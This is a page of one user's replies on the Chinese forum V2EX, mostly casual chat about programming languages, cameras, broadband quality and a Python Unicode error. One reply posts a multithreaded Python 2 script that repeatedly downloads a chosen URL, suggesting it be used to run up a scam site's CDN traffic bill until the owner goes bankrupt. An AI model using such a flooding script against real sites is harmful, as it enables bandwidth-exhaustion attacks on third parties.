V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX  ›  ericbize  ›  全部回复第 103 页 / 共 106 页
回复总数  2102
1 ... 95  96  97  98  99  100  101  102  103  104 ... 106  
2017-01-15 00:17:57 +08:00
回复了 gouchaoer 创建的主题 程序员 对《为什么说 2017 年你必须要学习 Go 了》这篇文章的疑惑
所以一个学过 c 渣渣 , java , python 的小萌新应该选择什么?
@jarlyyn 突然记起来了,好像是精细度的设置 , 看来遇到老司机了;记得高中那会,校运会,用了一天 (配 28 ~ 300 ) 手指各种痛,之后就对单反无爱了。
@jarlyyn ??? 6D 2000w 像素一张已经接近 5M 了, 为什么 4200w 也是 5M ?
@arakashic A 找 B 帮忙翻译, B 给出了如下答案 <a href="http://imgur.com/DV8F5nN"><img src="http://i.imgur.com/DV8F5nN.png" title="source: imgur.com" /></a>
@msg7086 语文不好 ╮(╯▽╰)╭
@P99LrYZVkZkg 海外版不是送流量吗?
@iCodex 没有,我还以为是不到 1k 不扣钱。


@moult 哦,看来我理解错了
2017-01-11 10:04:42 +08:00
回复了 loukky 创建的主题 宽带症候群 2016.1.10 今早电信骨干网竟然不抽风了?
@LGA1150 我大概是晚上 8 ~ 10 点的时候测试的
2017-01-11 10:04:11 +08:00
回复了 loukky 创建的主题 宽带症候群 2016.1.10 今早电信骨干网竟然不抽风了?
@LGA1150 反正这段时间用 FaceTime 视频是没问题的 (东南亚到广东电信) , FaceTime 大概要 2 ~ 3Mbps 的对等。 反正就是各种流畅。。。。
2017-01-10 17:53:43 +08:00
回复了 twitterpig 创建的主题 PHP PHPer 相亲笑话,不笑你来打我呀。
内容不好笑,倒是备注不错,“相亲对象三” , 系统 调用 对象 3 ,哈哈哈
楼主,你的确定你的电源键是好的?
2017-01-09 16:20:36 +08:00
回复了 vultr 创建的主题 宽带症候群 广州电信也开始变成大内网了
简直智障,之前有同学试过,公共 wifi 不单止分配公网 IP 还有 80 端口 。
2017-01-08 18:03:32 +08:00
回复了 pudgeee 创建的主题 程序员 搞搞这帮小贼。。。
好像,那个网站有 cdn , 跑死了就没戏了,慢慢跑,跑流量 1T 300 元,可以跑到小贼破产啊 ~~~~

import urllib
import urllib2
import threading
import time

print 'ctrl and z stop the program'
thr=input("how many thread do you need : (the thread should be lower then 10 , otherwise gg)")
cycle=input ("how many cycle do you need : ")
address= raw_input("plaese input the address")
start = time.clock()

def printf(i):
for x in xrange(cycle):
down(x)
end = time.clock()
print ' ' + 'T' + i + " " +"using: %f s" % (end - start)


def down(x):
url = (address)
d=urllib2.urlopen(url)
data = d.read()
print x,

def test():
thread_list = []
for i in xrange(thr):
sthread = threading.Thread(target = printf, args = str(i))
sthread.start()
thread_list.append(sthread)

if __name__ == '__main__':
test()
2017-01-08 15:24:16 +08:00
回复了 ericbize 创建的主题 Python 想请教怎么转 码
@q397064399 我也感觉不兼容各种坑~~~ , 但是有时候升级也是变革嘛,就像 intel 新款的 cpu 也不能装 xp
2017-01-08 15:22:59 +08:00
回复了 ericbize 创建的主题 Python 想请教怎么转 码
@qile1 SyntaxError: invalid syntax
ubuntu@VM-18-113-ubuntu:~$ python /home/ubuntu/fetch3.py
please enter : hi
h
ubuntu@VM-18-113-ubuntu:~$ python /home/ubuntu/fetch3.py
please enter : 吃饭
Traceback (most recent call last):
File "/home/ubuntu/fetch3.py", line 29, in <module>
d=results[0][0].encode("latin-1").decode("gbk")
UnicodeEncodeError: 'latin-1' codec can't encode character u'\u997f' in position 0: ordinal not in range(256)
ubuntu@VM-18-113-ubuntu:~$ python /home/ubuntu/fetch3.py
please enter : hi
h
ubuntu@VM-18-113-ubuntu:~$ python /home/ubuntu/fetch3.py
please enter : 吃饭
Traceback (most recent call last):
File "/home/ubuntu/fetch3.py", line 29, in <module>
d=results[0][0].encode("latin-1").decode("gbk")
UnicodeEncodeError: 'latin-1' codec can't encode character u'\u997f' in position 0: ordinal not in range(256)



数字,英文都可以,中文不行~~~
2017-01-08 09:57:07 +08:00
回复了 ericbize 创建的主题 Python 想请教怎么转 码
@q397064399 找不到解决方法的时候我也是这样想的,可我只是写一部分,并不能吧别人的部分也让用 3 ~~~
2017-01-08 09:57:02 +08:00
回复了 ericbize 创建的主题 Python 想请教怎么转 码
@qile1 mysql 吗? 上面的程序可以解决,数字,中英文输入输出
2017-01-08 09:56:50 +08:00
回复了 ericbize 创建的主题 Python 想请教怎么转 码
@popbones 谢谢指教,你的方法也可以。
1 ... 95  96  97  98  99  100  101  102  103  104 ... 106  
关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1693 人在线   最高记录 6543   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 41ms · UTC 16:49 · PVG 00:49 · LAX 09:49 · JFK 12:49
Developed with CodeLauncher
♥ Do have faith in what you're doing.